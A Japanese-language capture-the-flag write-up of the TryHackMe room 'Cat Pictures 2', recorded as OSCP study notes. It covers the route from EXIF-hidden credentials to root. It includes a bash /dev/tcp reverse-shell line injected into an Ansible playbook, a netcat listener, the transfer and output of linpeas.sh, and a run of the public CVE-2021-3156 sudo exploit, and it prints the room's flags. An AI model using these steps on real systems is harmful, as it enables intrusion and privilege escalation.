【TryHackMe】 Cat Pictures 2 Writeup

# はじめに
OSCP合格に向けて着手しているTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「[Cat Pictures 2](https://tryhackme.com/r/room/catpictures2)」というRoomを攻略しました。
**※扱い次第では法に触れるため、悪用厳禁です。**

# Task1 Deploy the VM!
省略

# Task2 Flags!

## What is Flag 1?

ポートスキャンを行います。
```
└─$ nmap -Pn -T4 10.10.208.53           
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-06 22:28 EDT
Warning: 10.10.208.53 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.208.53
Host is up (0.25s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
100/tcp  filtered newacct
222/tcp  open     rsh-spx
3000/tcp open     ppp
8080/tcp open     http-proxy

Nmap done: 1 IP address (1 host up) scanned in 33.81 seconds
```

httpが空いていたのでブラウザで確認すると、猫の画像が表示されたブラウザが表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/b7ca9c33-1b4d-006b-067f-21bcc5ee10f8.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/8dbc6cbd-d242-08af-796c-cd7911f82989.png)

gobusterコマンドでも特に怪しいディレクトリが解析されなかったので、ブラウザにある猫の画像を保存して確認していると、

```
└─$ exiftool f5054e97620f168c7b5088c85ab1d6e4.jpg 
...
Blue Matrix Column              : 0.14307 0.06061 0.7141
Red Tone Reproduction Curve     : (Binary data 64 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 64 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 64 bytes, use -b option to extract)
XMP Toolkit                     : Image::ExifTool 12.49
Title                           : :8080/764efa883dda1e11db47671c4a3bbd9e.txt
Image Width                     : 720
...
```

テキストファイルのパスを見つけました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/810039ef-fed8-e5d4-829f-4be02fef79fc.png)

内容としては、ポート3000のログイン情報とポート1337でAnsible(ツール？)が動いているとのこと。

まずポート3000にアクセスしてログインしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/08cf3cab-5c3a-34c2-453e-6f1301b7c117.png)

フラグが記載されていそうなテキストファイルを見つけたので確認した所、1つ目のフラグを獲得です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/317acf2d-175d-c74a-13e5-d74685fd3b4f.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/da3c471a-77c5-497c-dc4f-dc96f99b175b.png)

```
10d916eaea54bb5ebe36b59538146bb5
```
## What is Flag 2?

TryHackMeのヒントにansibleとあったので、先ほどの問題で見つけたポート1337へアクセスしてみると、下記の画面へ遷移されました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/89785bc7-e765-d54d-bb91-48e92de79e59.png)

いくつか触ってみたところ、マクロのようなものが登録されていて選択すると実行されるっぽい。
「Run Ansible Paybook」で実行されるスクリプトは、さきほどのポート3000に格納されているyamlファイルらしい。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/b97fda5b-1cae-a852-d8fc-4d1a55087482.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/1c0db7ab-9725-5236-68f9-3889961e8d7d.png)

このyamlファイルにリバースシェルを仕込み、再度スクリプトを実行してみます。
リバースシェルコマンドは、[GTFOBins](https://gtfobins.github.io/gtfobins/bash/)を参考に追記しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/d6ed2c86-0675-86c1-14a0-03b7f7baa040.png)

```
bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
```

プロンプト側にはnetcatで待ち受けの状態にしておき、ポート1337でスクリプトを実行してリバースシェルに成功しました。

```
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.59.30] from (UNKNOWN) [10.10.208.53] 37014
bismuth@catpictures-ii:~$ 
```

いつも通りにユーザ用のフラグ獲得です。
```
bismuth@catpictures-ii:~$ ls
flag2.txt
bismuth@catpictures-ii:~$ cat flag2.txt
cat flag2.txt
5e2cafbbf180351702651c09cd797920
```

## What is Flag 3?
普段通りに「sudo -l」辺りで特権に昇格可能なコマンドを調査すればよいと思ったのですが、特に候補は見つからず、、

どうやらこの場合には「linpeas.sh」を使うのがいいらしい。
事前準備として、権限昇格対象の環境に「linpeas.sh」を持ってくる必要があるとのこと。

まずローカルに「linpeas.sh」を用意して、リバースシェルした環境からダウンロードできるようサーバーを立ち上げます。

```
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
--2024-04-07 00:16:21--  https://github.com/carlospolop/PEASS-
...
2024-04-07 00:16:22 (9.84 MB/s) - ‘linpeas.sh’ saved [860549/860549]

──(kali㉿kali)-[~]
└─$ chmod +x linpeas.sh                                                                                                                       
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.208.53 - - [07/Apr/2024 00:22:25] "GET /linpeas.sh HTTP/1.1" 200 -
```


下記の通りコマンドを実行し、ローカル環境から「linpeas.sh」をダウンロードします。
```
bismuth@catpictures-ii:~$ wget http://10.8.59.30/linpeas.sh 
wget http://10.8.59.30/linpeas.sh 
...
Saving to: ‘linpeas.sh’

     0K .......... .......... .......... .......... ..........  5% 98.1K 8s
...
   800K .......... .......... .......... ..........           100% 6.71M=2.3s

2024-04-06 21:22:27 (366 KB/s) - ‘linpeas.sh’ saved [860549/860549]

bismuth@catpictures-ii:~$ ls
```

実行します。
```
bismuth@catpictures-ii:~$ sh linpeas.sh
sh linpeas.sh


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

...

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester                                                                                                                                                                                          
cat: write error: Broken pipe                                                                                                                                                                                                               
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
```

対象環境に対しての脆弱性の解析に加えて、その脆弱性用のエクスプロイトまで確認することが出来ます。
今回は「CVE-2021-3156」のエクスプロイトを実行してみようと思います。



さきほどの「linpeas.sh」と同じ手順で[エクスプロイト](https://github.com/blasty/CVE-2021-3156?source=post_page-----46d90e57deac--------------------------------)を特権昇格対象の環境に持ってきます。
エクスプロイトの実行手順もダウンロード元に記載があるので、その手順通りに行うと、、
```
bismuth@catpictures-ii:~/3156$ make
make
rm -rf libnss_X
...
    ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

bismuth@catpictures-ii:~/3156$ ./sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich

** CVE-2021-3156 PoC by blasty <peter@haxx.in>
...

bismuth@catpictures-ii:~/3156$ ./sudo-hax-me-a-sandwich 0
./sudo-hax-me-a-sandwich 0
...


whoami
root
```
権限の昇格に成功しました。
後はrootディレクトリ内のテキストファイルを確認し、最後のフラグを獲得して終了です。

```
cd root

ls
ansible
docker-compose.yaml
flag3.txt
gitea
cat flag3.txt
6d2a9f8f8174e86e27d565087a28a971
```

# さいごに
以上となります。
linpeas.shは今後もどこかで使えそうですね。